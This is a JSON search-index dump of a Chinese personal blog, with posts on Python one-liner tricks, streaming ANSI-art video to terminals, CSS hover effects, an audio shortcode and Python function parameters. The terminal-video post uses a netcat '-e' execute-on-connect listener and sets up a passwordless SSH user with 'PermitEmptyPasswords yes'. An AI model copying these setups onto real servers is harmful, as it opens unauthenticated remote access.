\u0026#34;is_available\u0026#34;: lambda self: getattr(self, \u0026#34;_Book__status\u0026#34;), 23 \u0026#34;borrow_book\u0026#34;: lambda self: (setattr(self, \u0026#34;_Book__status\u0026#34;, False), None)[ 24 -1 25 ], 26 \u0026#34;return_book\u0026#34;: lambda self: (setattr(self, \u0026#34;_Book__status\u0026#34;, True), None)[ 27 -1 28 ], 29 \u0026#34;__str__\u0026#34;: lambda self: \u0026#34;{}, {} ({})\u0026#34;.format( 30 self.get_book_title(), 31 self.get_book_code(), 32 \u0026#34;Available\u0026#34; if self.is_available() else \u0026#34;On Loan\u0026#34;, 33 ), 34 }, 35 ), 36 type( 37 \u0026#34;Member\u0026#34;, 38 (), 39 { 40 \u0026#34;__init__\u0026#34;: lambda self, member_id, name, on_loan_books_list=None: ( 41 setattr(self, \u0026#34;_Member__member_id\u0026#34;, member_id), 42 setattr(self, \u0026#34;_Member__name\u0026#34;, name), 43 setattr( 44 self, 45 \u0026#34;_Member__on_loan_books_list\u0026#34;, 46 on_loan_books_list if on_loan_books_list else list(), 47 ), 48 None, 49 )[-1], 50 \u0026#34;get_name\u0026#34;: lambda self: getattr(self, \u0026#34;_Member__name\u0026#34;), 51 \u0026#34;get_member_id\u0026#34;: lambda self: getattr(self, \u0026#34;_Member__member_id\u0026#34;), 52 \u0026#34;get_on_loan_books\u0026#34;: lambda self: getattr( 53 self, \u0026#34;_Member__on_loan_books_list\u0026#34; 54 ), 55 \u0026#34;borrow_book\u0026#34;: lambda self, book: ( 56 self._Member__on_loan_books_list.append(book.get_book_title()), 57 book.borrow_book(), 58 None, 59 )[-1], 60 \u0026#34;return_book\u0026#34;: lambda self, book: ( 61 self._Member__on_loan_books_list.remove(book.get_book_title()), 62 book.return_book(), 63 None, 64 )[-1], 65 \u0026#34;__str__\u0026#34;: lambda self: \u0026#34;{}\\nOn loan book(s):\\n{}\u0026#34;.format( 66 self.get_name(), 67 ( 68 \u0026#34;\\n\u0026#34;.join(self.get_on_loan_books()) 69 if len(self.get_on_loan_books()) \u0026gt; 0 70 else \u0026#34;-\u0026#34; 71 ), 72 ), 73 }, 74 ), 75 Record := type( 76 \u0026#34;Record\u0026#34;, 77 (), 78 { 79 \u0026#34;__init__\u0026#34;: lambda self, book, member, issue_date, is_on_loan=True: ( 80 setattr(self, \u0026#34;_Record__book\u0026#34;, book), 81 setattr(self, \u0026#34;_Record__member\u0026#34;, member), 82 setattr(self, \u0026#34;_Record__issue_date\u0026#34;, issue_date), 83 setattr(self, \u0026#34;_Record__is_on_loan\u0026#34;, is_on_loan), 84 self._Record__member.borrow_book(self._Record__book), 85 None, 86 )[-1], 87 \u0026#34;get_member_id\u0026#34;: lambda self: self._Record__member.get_member_id(), 88 \u0026#34;get_book_code\u0026#34;: lambda self: self._Record__book.get_book_code(), 89 \u0026#34;get_issue_date\u0026#34;: lambda self: getattr(self, \u0026#34;_Record__issue_date\u0026#34;), 90 \u0026#34;is_on_loan\u0026#34;: lambda self: getattr(self, \u0026#34;_Record__is_on_loan\u0026#34;), 91 \u0026#34;return_book\u0026#34;: lambda self: ( 92 self._Record__member.return_book(self._Record__book), 93 None, 94 )[-1], 95 \u0026#34;get_member_name\u0026#34;: lambda self: self._Record__member.get_name(), 96 \u0026#34;get_book_title\u0026#34;: lambda self: self._Record__book.get_book_title(), 97 \u0026#34;__str__\u0026#34;: lambda self: \u0026#34;{}, {}, {} ({}), issued date={}\u0026#34;.format( 98 self._Record__member.get_name(), 99 self._Record__book.get_book_title(), 100 self._Record__book.get_book_code(), 101 \u0026#34;Available\u0026#34; if self._Record__book.is_available() else \u0026#34;On Loan\u0026#34;, 102 self.get_issue_date(), 103 ), 104 }, 105 ), 106 type( 107 \u0026#34;MyLibrary\u0026#34;, 108 (), 109 { 110 \u0026#34;__init__\u0026#34;: lambda self, books_list_file_path, on_loan_records_list=None: ( 111 ( 112 setattr( 113 self, 114 \u0026#34;_MyLibrary__books_list\u0026#34;, 115 open(books_list_file_path, \u0026#34;r\u0026#34;).read().splitlines(), 116 ) 117 if __import__(\u0026#34;os\u0026#34;).path.exists(books_list_file_path) 118 else ( 119 print( 120 f\u0026#34;ERROR: The file \u0026#39;{books_list_file_path}\u0026#39; does not exist.\u0026#34; 121 ), 122 __import__(\u0026#34;sys\u0026#34;).exit(-1), 123 ) 124 ), 125 setattr( 126 self, 127 \u0026#34;_MyLibrary__books_list_with_class\u0026#34;, 128 [Book(*book.split(\u0026#34;,\u0026#34;)) for book in self._MyLibrary__books_list], 129 ), 130 print(f\u0026#34;{len(self._MyLibrary__books_list_with_class)} books loaded.\u0026#34;), 131 setattr( 132 self, 133 \u0026#34;_MyLibrary__on_loan_records_list\u0026#34;, 134 on_loan_records_list if on_loan_records_list else list(), 135 ), 136 None, 137 )[-1], 138 \u0026#34;show_all_books\u0026#34;: lambda self: ( 139 print( 140 \u0026#34;\\n\u0026#34;.join( 141 \u0026#34;{}, {} ({})\u0026#34;.format( 142 book.get_book_title(), 143 book.get_book_code(), 144 \u0026#34;Available\u0026#34; if book.is_available() else \u0026#34;On Loan\u0026#34;, 145 ) 146 for book in self._MyLibrary__books_list_with_class 147 ) 148 ), 149 None, 150 )[-1], 151 \u0026#34;find_book\u0026#34;: lambda self, code: next( 152 ( 153 book 154 for book in self._MyLibrary__books_list_with_class 155 if code == book.get_book_code() and book.is_available() 156 ), 157 ( 158 None 159 if any( 160 code == book.get_book_code() 161 for book in self._MyLibrary__books_list_with_class 162 ) 163 else None 164 ), 165 ), 166 \u0026#34;borrow_book\u0026#34;: lambda self, book, member, issue_date: ( 167 ( 168 print(\u0026#34;ERROR: could not issue the book.\u0026#34;) 169 if book is None 170 else ( 171 ( 172 self._MyLibrary__on_loan_records_list.append( 173 Record(book, member, issue_date) 174 ), 175 print( 176 f\u0026#34;{book.get_book_title()} is borrowed by {member.get_name()}\u0026#34; 177 ), 178 ) 179 if book.is_available() 180 else None 181 ) 182 ), 183 None, 184 )[-1], 185 \u0026#34;show_available_books\u0026#34;: lambda self: ( 186 ( 187 list( 188 map( 189 lambda book: print(book), 190 filter( 191 lambda book: book.get_book_code() 192 not in [ 193 record.get_book_code() 194 for record in self._MyLibrary__on_loan_records_list 195 ], 196 self._MyLibrary__books_list_with_class, 197 ), 198 ) 199 ) 200 ), 201 None, 202 )[-1], 203 \u0026#34;find_record\u0026#34;: lambda self, code: next( 204 ( 205 record 206 for record in self._MyLibrary__on_loan_records_list 207 if record.get_book_code() == code and record.is_on_loan() 208 ), 209 None, 210 ), 211 \u0026#34;return_book\u0026#34;: lambda self, record: ( 212 ( 213 ( 214 print(\u0026#34;ERROR: could not return the book.\u0026#34;) 215 if record is None 216 else None 217 ) 218 if not record.is_on_loan() 219 else ( 220 record.return_book(), 221 self._MyLibrary__on_loan_records_list.remove(record), 222 print(f\u0026#34;{record.get_book_code()} is returned successfully.\u0026#34;), 223 ) 224 ), 225 None, 226 )[-1], 227 \u0026#34;show_on_loan_records\u0026#34;: lambda self: ( 228 list( 229 map( 230 lambda record: print( 231 \u0026#34;{}, {}, {} (On Loan), issued date={}\u0026#34;.format( 232 record.get_member_name(), 233 record.get_book_title(), 234 record.get_book_code(), 235 record.get_issue_date(), 236 ), 237 ), 238 self._MyLibrary__on_loan_records_list, 239 ) 240 ), 241 None, 242 )[-1], 243 }, 244 ), 245) 作为一门缩进敏感的语言,试图将 Python 代码是颇具挑战性的。下面我介绍一些能够压缩 Python 代码行数(但是会拓宽列数)的技巧。\n使用分号在同一行内写多个语句 例如对于下面两行代码:\n1s = \u0026#34;Hello,\u0026#34; 2print(f\u0026#34;{s} World!\u0026#34;) 3 4# output: Hello, World! 我们可以写成\n1s = \u0026#34;Hello,\u0026#34;; print(f\u0026#34;{s} World!\u0026#34;) 2 3# output: Hello, World! 上面两部分代码的功能完全一样。不过使用分号在一行内写多个语句也有局限性,诸如条件语句、循环语句等部分带有关键字的语句无法使用分号。例如下面这段代码:\n1value = 7 2count = 0 3lst = [1, 1, 4, 5, 1, 4, 1, 9, 1, 9, 8, 10] 4for i in lst: 5 if i \u0026gt; value: 6 count += 1 7print(count) 8 9# output: 4 就不能直接写成\n1value = 7; count = 0; lst = [1, 1, 4, 5, 1, 4, 1, 9, 1, 9, 8, 10]; for i in lst: if i \u0026gt; value: count += 1; print(count) 2 3# STDERR: SyntaxError: invalid syntax 当然,将上面代码压缩至一行的方法我们稍后会提。\n使用 exec() 函数 作为一门解释性语言,Python 允许我们将代码写进一个字符串并且执行,例如说:\n1exec(\u0026#34;for i in range(13):\\n\\tprint(i)\u0026#34;) 这一行代码一次输出 1 到 12。根据这个原理,我们可以将任何一大段脚本内所有的换行、缩进转换为转义字符,随后将这个字符串作为参数执行 exec() 函数即可。\n前面提到的两种方法,单独使用时并没有很高的技术含量,只是将原来代码的格式略微改变一下,下面我将介绍几种更具有技术力的“一句话代码”技巧。\n三元表达式(一句话 if-else 语句) Python 中 if 语句的定义如下:\n1if_stmt ::= \u0026#34;if\u0026#34; assignment_expression \u0026#34;:\u0026#34; suite 2 (\u0026#34;elif\u0026#34; assignment_expression \u0026#34;:\u0026#34; suite)* 3 [\u0026#34;else\u0026#34; \u0026#34;:\u0026#34; suite] 一般情况下使用方法如下:\n1if assignment_expression_A: 2 suite_A 3elif assignment_expression_B: 4 suite_B 5elif assignment_expression_C: 6 suite_C 7else: 8 suite_D 将其写为一行后就是:\n1siute_A if assignment_expression_A else suite_B if assignment_expression_B else suite_C if assignment_expression_C else suite_D 其中 elif 的部分可以无限叠加。但是一句话格式下必须有 else 关键字,如果原代码中没有 else 部分,则在一句话格式下在 else 后使用缺省值,一般是 None 或者任何具用于表示“无”的数据。\n我们举几个例子:\n1a = 13 2b = 33 3if a \u0026gt; b: 4 max_value = a 5else: 6 max_value = b 7print(max_value) 8 9# output: 33 改写条件语句的部分\n1a = 13 2b = 33 3print(a if a \u0026gt; b else b) 4 5# output: 33 如果我们再给原代码加上判断是否相等的部分\n1a = 13 2b = 33 3if a \u0026gt; b: 4 print(f\u0026#34;{a} is greater.\u0026#34;) 5elif a \u0026lt; b: 6 print(f\u0026#34;{b} is greater.\u0026#34;) 7else: 8 print(f\u0026#34;They are equal.\u0026#34;) 9 10# output: 33 is greater. 这段代码则可以改写成\n1a = 13; b = 33; print(f\u0026#34;{a} is greater.\u0026#34;) if a \u0026gt; b else print(f\u0026#34;{b} is greater.\u0026#34;) if a \u0026lt; b else print(f\u0026#34;They are equal.\u0026#34;) 2 3# output: 33 is greater. 推导式 for Python 中的推导式分为列表推导式、字典推导式、集合推导式和生成器表达式(亦称作元组推导式),他们的语法类似,最大的区别就是生成不同的对象。这四种推导式分别生成列表、字典、集合和生成器对象。\n列表推导式基本语法为:\n1[out_exp_res for out_exp in input_list] 2# 或者 3[out_exp_res for out_exp in input_list if condition] 4# if 语句要放在最后 集合推导式、生成器表达式只是分别将其中的中括号换为了大括号和小括号。而字典推导式的基本语法为:\n1{key_expr: value_expr for value in collection} 2# 或者 3{key_expr: value_expr for value in collection if condition} 4# if 永远后置 例如说对于下面这段用于找出列表中大于指定值的数字的代码:\n1value = 7 2result = [] 3numbers = [1, 1, 4, 5, 1, 4, 1, 9, 1, 9, 8, 10] 4for i in numbers: 5 if i \u0026gt; value: 6 result.append(i) 7print(result) 8 9# output: [9, 9, 8, 10] 我们可以使用列表推导式完成这个任务:\n1value = 7 2numbers = [1, 1, 4, 5, 1, 4, 1, 9, 1, 9, 8, 10] 3result = [i for i in number if i \u0026gt; value] 4print(result) 5 6# output: [9, 9, 8, 10] 推导式还支持循环嵌套。例如说下面这个集合推导式可以用于求两个集合的 Cartesian product:\n1cartesian_product = {(x, y) for x in {1, 3, 5} for y in {0, 2, 4}} 2print(cartesian_product) 3 4# output: {(1, 2), (3, 4), (5, 4), (1, 4), (3, 0), (5, 0), (1, 0), (3, 2), (5, 2)} 我们还可以使用 Cantor pairing 将这些有序数对存储到字典里:\n1cantor_pairing = {(x + y) * (x + y + 1) // 2 + y: (x, y) for (x, y) in {(x, y) for x in {1, 3, 5} for y in {0, 2, 4}}} 2print(cantor_pairing) 3 4# output: {8: (1, 2), 32: (3, 4), 49: (5, 4), 19: (1, 4), 6: (3, 0), 15: (5, 0), 1: (1, 0), 17: (3, 2), 30: (5, 2)} 这里在字典推导式中嵌套了集合推导式。\n","link":"https://jackgdn.github.io/post/python%E4%B8%80%E5%8F%A5%E8%AF%9D%E4%BB%A3%E7%A0%81-pt-1/","section":"post","tags":["Python"],"title":"Python 一句话代码技巧(一)"},{"body":"","link":"https://jackgdn.github.io/tags/c++/","section":"tags","tags":null,"title":"C++"},{"body":"","link":"https://jackgdn.github.io/tags/linux/","section":"tags","tags":null,"title":"Linux"},{"body":"","link":"https://jackgdn.github.io/categories/linux/","section":"categories","tags":null,"title":"Linux"},{"body":"之前见过使用 telnet towel.blinkenlights.nl 命令在终端中播放《星球大战》。于是想自己也做一个。我选择的是《米奇妙妙屋》的片头。\n我的思路是这样的:下载视频 -\u0026gt; 将视频提取成一张张图片 -\u0026gt; 将图片转化为像素画 -\u0026gt; 连续播放像素画 -\u0026gt; 放到服务器上使其他人也可以连接\n视频切片 使用 FFmpeg 工具将视频切片。我选择将帧率定为 16,即每秒钟播放 16 张“图片”。如果帧率太高,终端会由于自身绘制速度及网络带宽导致刷新缓慢,进而导致视频看起来“很慢”。最后尝试时,Electerm 以及 Termux 的表现都很差,而 Windows 原生的 Shell(无论是 cmd 还是 Powershell)都有更优秀的表现。\n使用 FFmpeg 视频切片的命令如下:\n1sudo ffmpeg -i vid/vid.mp4 -vf fps=16 pic/frame_%04d.png 参数 解释 -i 输入文件 -v 设置视频限制 执行完上面的命令,我得到了 1354 张图片,这些图片名称依次为 frame_0001.png 到 frame_1354.png。\n图像转字符 我使用 jp2a 工具将图片转化为字符。命令为:\n1counter=1; 2for img in pic/frame_*.png; do 3 sudo jp2a --colors --color-depth=24 --height=77 \u0026#34;$img\u0026#34; --fill --chars=\u0026#34; ░\u0026#34; --output=\u0026#34;txt/frame_$(printf \u0026#39;%04d\u0026#39; $counter).txt\u0026#34;; 4 counter=$((counter + 1)); 5done 这些命令将 pic/ 目录下的 frame_.png 图像转化成 txt/ 目录下的 frame_.txt 文本文件。\n参数 解释 --colors 使用真彩色 --color-deepth 色彩深度 --height 生成的图像高度 --fill 使用填充 --chars 使用的字符 --output 输出文件 --height 生成的图像高度是指这张 ASCII 图像的行数,只有当终端的行数大于等于这个数值时,这张 ASCII 图像才能被正确显示出来。在 Linux 操作系统中,使用 tput lines 或者 echo $LINES 命令可以查看当前终端的行数。\n--fill 是指填满行与行之间的空隙,实际上是给字符添加反色效果。在终端中,相邻两行字符之间有空隙,如果添加了反色 \\033[7m 则会将空隙填充。\n--chars 是指使用的字符。在这里我使用空格和“浅的阴影”(U+2591),这样两个字符在反色之后色块填充更饱满。\n最后生成的文件使用 ANSI 转义序列调控颜色,如果直接使用 cat 命令打开,会看到正常显示的图像;使用 vim 命令编辑则会看到转义字符。\n连续播放像素画 前面我知道了使用 cat 命令打开这些文件可以正常显示,那么我只需要依次 cat 这些图像就可以实现播放图像。\n1for txt in txt/frame_*.txt; do 2 echo -e \u0026#34;\\033[H\u0026#34;; 3 cat $txt; 4done 输出的 \\033[H 也是一个 ANSI 控制字符,用于将光标移动到终端的最开头。如果使用 clear 命令清空屏幕,则会出现屏幕频闪的效果,而将光标移动到终端开头则直接从上一帧图像上绘制,覆盖上一帧,避免屏幕频闪。\n挂到服务器上 我在这一步遇到了一些问题。我最初的想法是将播放“视频”的脚本使用 netcat 上。例如我将上面播放的脚本存储为 TerminalVideo.sh,随后执行命令 nc -zvlp 6666 -e TerminalVideo.sh,这样其他机器执行 nc -zv 219.217.199.108 6666 命令就可以播放视频了。但是这样做也有诸多问题:\nnc 一次只能建立一个连接,不能实现多用户同时连接 在脚本运行结束后,nc 连接会自动断开 我想先尝试解决第二个问题,我运行下面的命令尝试持久化 nc 连接:\n1while true; do 2 nc -zvlp 6666 -e TerminalVideo.sh 3done 但是这样又出现了新的问题,如果在脚本运行时,用户按下 ^C 强制退出,那么这条 nc 连接就会失效,服务端会持续报错 “Permission Denied”,客户端无法连接。\n于是我又把目光放到了 SSH 上。之前在远程控制一台在内网中的设备里我尝试使用免密码的 SCP 传输文件。但是出于安全考虑,我需要将接受文件的用户的 Shell 改为一个空的 Shell,于是有了下面这段代码:\n1void main() 2{ 3 while (true) {;} 4} 最后测试证明,这段代码编译出来的程序是可以被用作 Shell 的。于是我现在需要做的是,写一个能够自动播放“视频”的程序,随后将其设为一个用户的默认 Shell,而且这个用户不应该有密码,使任何连接到校园网的用户都可以连接。首先我将 txt/ 目录移动到了 /etc 目录下(最开始选择的是 /tmp 目录,但是很快被系统自动清理了),并且下面一段代码:\n1// 6666.cpp 2 3#include \u0026lt;fcntl.h\u0026gt; 4#include \u0026lt;sys/ioctl.h\u0026gt; 5#include \u0026lt;unistd.h\u0026gt; 6#include \u0026lt;iostream\u0026gt; 7#include \u0026lt;fstream\u0026gt; 8 9 10using namespace std; 11 12int get_lines() // 检测终端高度 13{ 14 struct winsize ws; 15 int fd, result; 16 if ((fd = open(\u0026#34;/dev/tty\u0026#34;, O_WRONLY)) \u0026lt; 0) return -1; 17 result = ioctl(fd, TIOCGWINSZ, \u0026amp;ws); 18 close(fd); 19 return result ? -1 : ws.ws_row; 20} 21 22int main() 23{ 24 int rows = get_lines(); 25 if (rows == -1) 26 { 27 cout \u0026lt;\u0026lt; endl; 28 cout \u0026lt;\u0026lt; \u0026#34;\\033[7;31mUnknown Error!\\033[0m\u0026#34; \u0026lt;\u0026lt; endl; 29 cout \u0026lt;\u0026lt; endl; 30 return -1; 31 } 32 33 else if (rows \u0026lt; 80) 34 { 35 cout \u0026lt;\u0026lt; endl; 36 cout \u0026lt;\u0026lt; \u0026#34;+---------------------------------------------------------------+\u0026#34; \u0026lt;\u0026lt; endl; 37 cout \u0026lt;\u0026lt; \u0026#34;| The minimum height of your terminal to play this video is \\033[7;31m80\\033[0m. |\u0026#34; \u0026lt;\u0026lt; endl; 38 cout \u0026lt;\u0026lt; \u0026#34;| Use \\033[7;33mtput lines\\033[0m to check your terminal height. |\u0026#34; \u0026lt;\u0026lt; endl; 39 cout \u0026lt;\u0026lt; \u0026#34;+---------------------------------------------------------------+\u0026#34; \u0026lt;\u0026lt; endl; 40 cout \u0026lt;\u0026lt; endl; 41 return -1; 42 } 43 44 for (int i = 1; i \u0026lt;= 1354; i++) 45 { 46 cout \u0026lt;\u0026lt; \u0026#34;\\033[H\u0026#34;; 47 char filename[24]; 48 sprintf(filename, \u0026#34;/etc/txt/frame_%04d.txt\u0026#34;, i); 49 50 fstream file; 51 file.open(filename, ios::in); 52 string line; 53 while (getline(file, line)) 54 { 55 cout \u0026lt;\u0026lt; line \u0026lt;\u0026lt; endl; 56 } 57 } 58 return 0; 59} 多种编程语言都对 ANSI 控制有支持,C++ 也不例外,因此我直接 cout 控制字符,控制字符就能正确执行其功能。\n下一步就是建立一个无需密码就可以登录的用户,并将其默认 Shell 设为我们刚刚写的程序。需要执行以下命令:\n1sudo adduser mickey 2sudo passwd -d mickey 随后修改 /etc/ssh/sshd_config 文件,修改其中配置 PermitEmptyPasswords yes,随后重启 SSH 服务 sudo systemctl restart sshd 使修改生效。\n下一步使用命令 sudo chsh -s /bin/6666 mickey 修改默认 Shell。\n现在来看,功能已经大体实现。但是还有一个问题,在连接上的时候,服务器会输出 MOTD(Message of the Day),然而这些信息不应该对任何人可见,因此在 mickey 用户的家目录下创建 .hushlogin 文件 sudo touch /home/mickey/.hushlogin 以禁用 MOTD。\n最终效果如下:\n(没有声音)\n","link":"https://jackgdn.github.io/post/%E7%BB%88%E7%AB%AF%E6%92%AD%E6%94%BE%E8%A7%86%E9%A2%91/","section":"post","tags":["Linux","C++"],"title":"终端播放视频"},{"body":"","link":"https://jackgdn.github.io/tags/%E6%97%A5%E5%BF%97/","section":"tags","tags":null,"title":"日志"},{"body":"","link":"https://jackgdn.github.io/categories/%E6%97%A5%E5%BF%97/","section":"categories","tags":null,"title":"日志"},{"body":"我又给 \u0026lt;a\u0026gt; 标签加了一个酷酷的 hover 效果,有下面两种 \u0026lt;a\u0026gt; 标签使用了 hover 效果:\n没有 class 和 title 属性 class 属性中有 nav_item 但没有 nav_brand 我把自定义的效果写成 SASS 格式并写到主题给的 _custom.sass 文件里。\n1a 2 \u0026amp;:not([class]):not([title]) 3 position: relative 4 \u0026amp;:after 5 content: \u0026#39;\u0026#39; 6 position: absolute 7 left: 0 8 bottom: -5px 9 display: inline-block 10 height: 1px 11 background-color: #0077b8 12 width: 0 13 opacity: 0 14 transition: opacity 0.35s, width 0.35s 15 \u0026amp;:hover:after 16 opacity: 1 17 width: 100% 18 \u0026amp;.nav_item:not(.nav_brand) 19 position: relative 20 \u0026amp;:after 21 content: \u0026#39;\u0026#39; 22 position: absolute 23 left: 0 24 bottom: -5px 25 display: inline-block 26 height: 1px 27 background-color: #0077b8 28 width: 0 29 opacity: 0 30 transition: opacity 0.35s, width 0.35s 31 \u0026amp;:hover:after 32 opacity: 1 33 width: 100% 代码块标上 SASS 会导致渲染出错,故标成 CSS。\n同时我给其他博客的链接创建了卡片,也是使用 shortcode:\n1{{/* friend.html */}} 2 3\u0026lt;link rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css\u0026#34;\u0026gt; 4 5{{ $link := .Get \u0026#34;link\u0026#34; }} 6{{ $img := .Get \u0026#34;img\u0026#34; }} 7{{ $txt := .Get \u0026#34;txt\u0026#34; }} 8 9\u0026lt;div class=\u0026#34;friend-link-card\u0026#34;\u0026gt; 10 \u0026lt;div class=\u0026#34;friend-content\u0026#34;\u0026gt; 11 \u0026lt;div class=\u0026#34;friend-imgBx\u0026#34;\u0026gt; 12 \u0026lt;img src=\u0026#34;{{ $img }}\u0026#34;\u0026gt; 13 \u0026lt;/div\u0026gt; 14 \u0026lt;div class=\u0026#34;friend-text-content\u0026#34;\u0026gt; 15 \u0026lt;a href=\u0026#34;{{ $link }}\u0026#34; target=\u0026#34;_blank\u0026#34; rel=\u0026#34;noopener noreferrer\u0026#34;\u0026gt;{{ $txt }}\u0026lt;/a\u0026gt; 16 \u0026lt;/div\u0026gt; 17 \u0026lt;/div\u0026gt; 18\u0026lt;/div\u0026gt; 19 20\u0026lt;style\u0026gt; 21 .friend-link-card * { 22 margin: 0; 23 padding: 0; 24 box-sizing: border-box; 25 } 26 27 .friend-link-card { 28 padding: 0.5rem 1rem; 29 width: 25%; 30 outline: none; 31 color: var(--text); 32 background: var(--post-bg); 33 border: 1px solid var(--border); 34 border-radius: 8px; 35 font-size: 1rem; 36 box-shadow: 0 0.25rem 1rem rgba(0, 0, 0, 0.1); 37 margin-top: 10px; 38 min-width: 300px; 39 } 40 41 .friend-content { 42 display: flex; 43 align-items: center; 44 } 45 46 .friend-imgBx { 47 position: relative; 48 margin-right: 40px; 49 padding: 10px 0; 50 } 51 52 .friend-imgBx img { 53 width: 80px; 54 height: 80px; 55 border-radius: 50%; 56 display: block; 57 } 58 59 .friend-text-content { 60 flex: 1; 61 position: relative; 62 } 63 64 .friend-text-content a:after { 65 content: \u0026#39;\u0026#39;; 66 position: absolute; 67 left: 0; 68 bottom: -5px; 69 display: inline-block; 70 height: 1px; 71 background-color: #0077b8; 72 width: 0; 73 opacity: 0; 74 transition: opacity 0.35s, width 0.35s; 75 } 76 77 .friend-text-content a:hover:after { 78 opacity: 1; 79 width: 100%; 80 } 81\u0026lt;/style\u0026gt; ","link":"https://jackgdn.github.io/post/log-2024-09-18/","section":"post","tags":["日志"],"title":"日志-2024-09-18"},{"body":"今天心情一般,分享两首歌,同时测试新的 shortcode。 Bury the Light - Victor Borba\rDevil Trigger - Ali Edwards\rshortcode 如下:\r1{{/* audio.html */}} 2 3\u0026lt;link rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css\u0026#34;\u0026gt; 4 5{{ $link := .Get \u0026#34;link\u0026#34; }} 6{{ $img := .Get \u0026#34;img\u0026#34; }} 7{{ $txt := .Get \u0026#34;txt\u0026#34; }} 8{{ $src := .Get \u0026#34;src\u0026#34; }} 9{{ $uniqueID := .Get \u0026#34;id\u0026#34; }} 10 11\u0026lt;div class=\u0026#34;player\u0026#34; id=\u0026#34;{{ $uniqueID }}\u0026#34;\u0026gt; 12 \u0026lt;div class=\u0026#34;imgBx\u0026#34;\u0026gt; 13 \u0026lt;img src=\u0026#34;{{ $img }}\u0026#34;\u0026gt; 14 \u0026lt;/div\u0026gt; 15 \u0026lt;div class=\u0026#34;text-content\u0026#34;\u0026gt; 16 \u0026lt;a href=\u0026#34;{{ $link }}\u0026#34; class=\u0026#34;button mt-1\u0026#34; target=\u0026#34;_blank\u0026#34; rel=\u0026#34;noopener noreferrer\u0026#34;\u0026gt;{{ $txt }}\u0026lt;/a\u0026gt; \u0026lt;!-- button 类在主题中定义 --\u0026gt; 17 \u0026lt;/div\u0026gt; 18 \u0026lt;audio class=\u0026#34;audio-player\u0026#34;\u0026gt; 19 \u0026lt;source src=\u0026#34;{{ $src }}\u0026#34; type=\u0026#34;audio/mpeg\u0026#34;\u0026gt; 20 \u0026lt;/audio\u0026gt; 21 \u0026lt;button class=\u0026#34;play-btn\u0026#34;\u0026gt;\u0026lt;i class=\u0026#34;fas fa-play\u0026#34;\u0026gt;\u0026lt;/i\u0026gt;\u0026lt;/button\u0026gt; 22\u0026lt;/div\u0026gt; 23 24\u0026lt;style\u0026gt; 25 .player * { 26 margin: 0; 27 padding: 0; 28 box-sizing: border-box; 29 } 30 31 .player { 32 width: 300px; 33 background-color: rgba(0, 119, 184, 0.15); 34 padding: 20px 14px 8px 14px; 35 border: none; 36 border-radius: 1.5rem; 37 box-shadow: rgba(0, 0, 0, 0.1) 0px 0.25rem 1rem; 38 position: relative; 39 text-align: center; 40 } 41 42 .imgBx img { 43 width: 100%; 44 height: auto; 45 border: solid; 46 border-radius: 1.5rem; 47 } 48 49 .text-content { 50 margin: 3px 0; 51 padding: 0.5rem 1.5rem; 52 53 } 54 55 .text-content a { 56 color: #ffffff; 57 58 font-size: 16px; 59 60 text-decoration: none; 61 } 62 63 .audio-player { 64 display: none; 65 } 66 67 .play-btn { 68 background: #0077b8; 69 border: none; 70 border-radius: 50%; 71 width: 50px; 72 height: 50px; 73 font-size: 24px; 74 cursor: pointer; 75 position: absolute; 76 top: 50%; 77 left: 50%; 78 transform: translate(-50%, -50%); 79 } 80 81 .play-btn:hover { 82 background: #003553; 83 } 84 85 .play-btn i { 86 color: #fff; 87 } 88\u0026lt;/style\u0026gt; 89 90\u0026lt;script\u0026gt; 91 (function () { 92 const playerId = \u0026#34;{{ $uniqueID }}\u0026#34;; 93 const audioPlayer = document.querySelector(`#${playerId} .audio-player`); 94 const playButton = document.querySelector(`#${playerId} .play-btn`); 95 playButton.addEventListener(\u0026#39;click\u0026#39;, () =\u0026gt; { 96 if (audioPlayer.paused) { 97 audioPlayer.play(); 98 playButton.innerHTML = \u0026#39;\u0026lt;i class=\u0026#34;fas fa-pause\u0026#34;\u0026gt;\u0026lt;/i\u0026gt;\u0026#39;; 99 } else { 100 audioPlayer.pause(); 101 playButton.innerHTML = \u0026#39;\u0026lt;i class=\u0026#34;fas fa-play\u0026#34;\u0026gt;\u0026lt;/i\u0026gt;\u0026#39;; 102 } 103 }); 104 audioPlayer.addEventListener(\u0026#39;ended\u0026#39;, () =\u0026gt; { 105 playButton.innerHTML = \u0026#39;\u0026lt;i class=\u0026#34;fas fa-play\u0026#34;\u0026gt;\u0026lt;/i\u0026gt;\u0026#39;; 106 }); 107 })(); 108\u0026lt;/script\u0026gt; 主题把 \u0026lt;a\u0026gt; 标签的样式写死了,导致我对 \u0026lt;a\u0026gt; 标签样式的编辑都是徒劳的,因此我不得不使用主题定义的 button 让链接看上去更自然。\n","link":"https://jackgdn.github.io/post/log-2024-09-16/","section":"post","tags":["日志"],"title":"日志-2024-09-16"},{"body":"必选参数 初学者必会的参数类型,也是 Python 函数参数传递最基础的方式。函数在定义中要求传入,调用时必须传入的参数就是必选参数。\n1def foo(aParam, bParam): 2 print(aParam, bParam) 3 4foo(114514, 1919810) 5 6# output: 114514 1919810 函数定义中要求传入两个参数,那么在调用时就必须传入两个参数,如果出入过多或者过少参数均会报错。\n1def foo(aParam, bParam): 2 print(aParam, bParam) 3 4foo(114514) 5 6\u0026#34;\u0026#34;\u0026#34; 7output: 8Traceback (most recent call last): 9 File \u0026#34;/home/jackgdn/python-script/test.py\u0026#34;, line 4, in \u0026lt;module\u0026gt; 10 foo(114514) 11TypeError: foo() missing 1 required positional argument: \u0026#39;bParam\u0026#39; 12\u0026#34;\u0026#34;\u0026#34; 传入过少参数\n1def foo(aParam, bParam): 2 print(aParam, bParam) 3 4foo(114514, 1919810, \u0026#34;Hello, World!\u0026#34;) 5 6\u0026#34;\u0026#34;\u0026#34; 7Traceback (most recent call last): 8 File \u0026#34;/home/jackgdn/python-script/test.py\u0026#34;, line 4, in \u0026lt;module\u0026gt; 9 foo(114514, 1919810, \u0026#34;Hello, world!\u0026#34;) 10TypeError: foo() takes 2 positional arguments but 3 were given 11\u0026#34;\u0026#34;\u0026#34; 传入过多参数\n默认参数 在定义函数时给出默认值的参数,被称为默认参数。如果在调用函数时传入了默认参数,则默认参数被覆盖为传入的值;若没有传入,则默认参数为默认值。\n1def foo(aParam, bParam=1919810): 2 print(aParam, bParam) 3 4foo(114514) 5 6# output: 114514 1919810 不传入参数,函数使用默认参数\n1def foo(aParam, 